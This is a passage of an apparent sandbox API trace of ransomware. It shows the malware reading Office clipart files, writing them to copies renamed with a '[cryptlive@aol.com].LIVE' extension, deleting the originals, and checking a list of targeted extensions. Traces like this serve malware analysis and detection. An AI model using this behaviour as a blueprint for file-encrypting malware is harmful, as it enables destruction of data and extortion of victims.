lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.761] lstrlenW (lpString=".bz2") returned 4 [0153.761] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.761] lstrlenW (lpString=".7z") returned 3 [0153.761] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0153.761] lstrlenW (lpString=".dbf") returned 4 [0153.761] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0153.761] lstrlenW (lpString=".1cd") returned 4 [0153.761] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0153.761] lstrlenW (lpString=".jpg") returned 4 [0153.761] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.761] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.761] lstrlenW (lpString="J0107026.WMF") returned 12 [0153.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0153.762] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=7632) returned 1 [0153.762] CloseHandle (hObject=0x384) returned 1 [0153.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf")) returned 0x20 [0153.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0153.763] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.763] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0153.764] GetLastError () returned 0x0 [0153.764] ReadFile (in: hFile=0x384, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1dd0, lpOverlapped=0x0) returned 1 [0153.766] WriteFile (in: hFile=0x1b8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1de0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1de0, lpOverlapped=0x0) returned 1 [0153.767] ReadFile (in: hFile=0x384, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0153.767] WriteFile (in: hFile=0x1b8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.767] SetEndOfFile (hFile=0x1b8) returned 1 [0153.768] CloseHandle (hObject=0x1b8) returned 1 [0153.768] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.768] SetEndOfFile (hFile=0x384) returned 1 [0153.770] CloseHandle (hObject=0x384) returned 1 [0153.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf")) returned 1 [0153.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0153.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0153.771] lstrlenW (lpString=".doc") returned 4 [0153.771] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.771] lstrlenW (lpString=".docx") returned 5 [0153.771] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0153.771] lstrlenW (lpString=".pdf") returned 4 [0153.771] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.771] lstrlenW (lpString=".xls") returned 4 [0153.771] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.771] lstrlenW (lpString=".xlsx") returned 5 [0153.771] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0153.771] lstrlenW (lpString=".ppt") returned 4 [0153.771] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0153.772] lstrlenW (lpString=".zip") returned 4 [0153.772] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.772] lstrlenW (lpString=".rar") returned 4 [0153.772] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.772] lstrlenW (lpString=".bz2") returned 4 [0153.772] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.772] lstrlenW (lpString=".7z") returned 3 [0153.772] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0153.772] lstrlenW (lpString=".dbf") returned 4 [0153.772] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0153.772] lstrlenW (lpString=".1cd") returned 4 [0153.772] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0153.772] lstrlenW (lpString=".jpg") returned 4 [0153.772] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0153.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0153.772] lstrlenW (lpString=".doc") returned 4 [0153.772] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.772] lstrlenW (lpString=".docx") returned 5 [0153.772] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0153.772] lstrlenW (lpString=".pdf") returned 4 [0153.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.772] lstrlenW (lpString=".xls") returned 4 [0153.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.772] lstrlenW (lpString=".xlsx") returned 5 [0153.772] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0153.772] lstrlenW (lpString=".ppt") returned 4 [0153.772] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0153.772] lstrlenW (lpString=".zip") returned 4 [0153.772] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.772] lstrlenW (lpString=".rar") returned 4 [0153.773] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.773] lstrlenW (lpString=".bz2") returned 4 [0153.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.773] lstrlenW (lpString=".7z") returned 3 [0153.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0153.773] lstrlenW (lpString=".dbf") returned 4 [0153.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0153.773] lstrlenW (lpString=".1cd") returned 4 [0153.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0153.773] lstrlenW (lpString=".jpg") returned 4 [0153.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.773] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.773] lstrlenW (lpString="J0107042.WMF") returned 12 [0153.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0153.774] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=9048) returned 1 [0153.774] CloseHandle (hObject=0x384) returned 1 [0153.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf")) returned 0x20 [0153.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0153.775] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.775] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0153.776] GetLastError () returned 0x0 [0153.776] ReadFile (in: hFile=0x384, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x2358, lpOverlapped=0x0) returned 1 [0153.778] WriteFile (in: hFile=0x1b8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x2360, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2360, lpOverlapped=0x0) returned 1 [0153.779] ReadFile (in: hFile=0x384, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0153.779] WriteFile (in: hFile=0x1b8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.779] SetEndOfFile (hFile=0x1b8) returned 1 [0153.779] CloseHandle (hObject=0x1b8) returned 1 [0153.779] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.779] SetEndOfFile (hFile=0x384) returned 1 [0154.210] CloseHandle (hObject=0x384) returned 1 [0154.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.353] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf")) returned 1 [0154.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0154.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0154.354] lstrlenW (lpString=".doc") returned 4 [0154.354] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.354] lstrlenW (lpString=".docx") returned 5 [0154.354] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0154.354] lstrlenW (lpString=".pdf") returned 4 [0154.354] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.355] lstrlenW (lpString=".xls") returned 4 [0154.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.355] lstrlenW (lpString=".xlsx") returned 5 [0154.355] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0154.355] lstrlenW (lpString=".ppt") returned 4 [0154.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0154.355] lstrlenW (lpString=".zip") returned 4 [0154.355] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.355] lstrlenW (lpString=".rar") returned 4 [0154.355] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.355] lstrlenW (lpString=".bz2") returned 4 [0154.355] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.355] lstrlenW (lpString=".7z") returned 3 [0154.355] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0154.355] lstrlenW (lpString=".dbf") returned 4 [0154.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0154.355] lstrlenW (lpString=".1cd") returned 4 [0154.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0154.355] lstrlenW (lpString=".jpg") returned 4 [0154.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0154.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0154.355] lstrlenW (lpString=".doc") returned 4 [0154.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.355] lstrlenW (lpString=".docx") returned 5 [0154.355] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0154.355] lstrlenW (lpString=".pdf") returned 4 [0154.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.355] lstrlenW (lpString=".xls") returned 4 [0154.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.355] lstrlenW (lpString=".xlsx") returned 5 [0154.355] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0154.356] lstrlenW (lpString=".ppt") returned 4 [0154.356] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0154.356] lstrlenW (lpString=".zip") returned 4 [0154.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.356] lstrlenW (lpString=".rar") returned 4 [0154.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.356] lstrlenW (lpString=".bz2") returned 4 [0154.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.356] lstrlenW (lpString=".7z") returned 3 [0154.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0154.356] lstrlenW (lpString=".dbf") returned 4 [0154.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0154.356] lstrlenW (lpString=".1cd") returned 4 [0154.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0154.356] lstrlenW (lpString=".jpg") returned 4 [0154.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.356] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0154.356] lstrlenW (lpString="J0107090.WMF") returned 12 [0154.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0154.358] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=14132) returned 1 [0154.358] CloseHandle (hObject=0x1b8) returned 1 [0154.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf")) returned 0x20 [0154.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0154.358] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.358] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.359] GetLastError () returned 0x0 [0154.359] ReadFile (in: hFile=0x1b8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x3734, lpOverlapped=0x0) returned 1 [0154.397] WriteFile (in: hFile=0x384, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x3740, lpOverlapped=0x0) returned 1 [0154.398] ReadFile (in: hFile=0x1b8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.398] WriteFile (in: hFile=0x384, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.398] SetEndOfFile (hFile=0x384) returned 1 [0154.398] CloseHandle (hObject=0x384) returned 1 [0154.398] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.398] SetEndOfFile (hFile=0x1b8) returned 1 [0154.401] CloseHandle (hObject=0x1b8) returned 1 [0154.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.422] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf")) returned 1 [0154.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0154.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0154.423] lstrlenW (lpString=".doc") returned 4 [0154.424] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.424] lstrlenW (lpString=".docx") returned 5 [0154.424] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0154.424] lstrlenW (lpString=".pdf") returned 4 [0154.424] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.424] lstrlenW (lpString=".xls") returned 4 [0154.424] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.424] lstrlenW (lpString=".xlsx") returned 5 [0154.424] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0154.424] lstrlenW (lpString=".ppt") returned 4 [0154.424] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0154.424] lstrlenW (lpString=".zip") returned 4 [0154.424] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.424] lstrlenW (lpString=".rar") returned 4 [0154.424] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.424] lstrlenW (lpString=".bz2") returned 4 [0154.424] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.424] lstrlenW (lpString=".7z") returned 3 [0154.424] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0154.424] lstrlenW (lpString=".dbf") returned 4 [0154.424] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0154.424] lstrlenW (lpString=".1cd") returned 4 [0154.424] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0154.424] lstrlenW (lpString=".jpg") returned 4 [0154.424] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0154.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0154.424] lstrlenW (lpString=".doc") returned 4 [0154.424] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.424] lstrlenW (lpString=".docx") returned 5 [0154.425] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0154.425] lstrlenW (lpString=".pdf") returned 4 [0154.425] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.425] lstrlenW (lpString=".xls") returned 4 [0154.425] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.425] lstrlenW (lpString=".xlsx") returned 5 [0154.425] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0154.425] lstrlenW (lpString=".ppt") returned 4 [0154.425] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0154.425] lstrlenW (lpString=".zip") returned 4 [0154.425] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.425] lstrlenW (lpString=".rar") returned 4 [0154.425] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.425] lstrlenW (lpString=".bz2") returned 4 [0154.425] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.425] lstrlenW (lpString=".7z") returned 3 [0154.425] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0154.425] lstrlenW (lpString=".dbf") returned 4 [0154.425] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0154.425] lstrlenW (lpString=".1cd") returned 4 [0154.425] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.425] lstrlenW (lpString="C:\\Program Files\\Microsoft 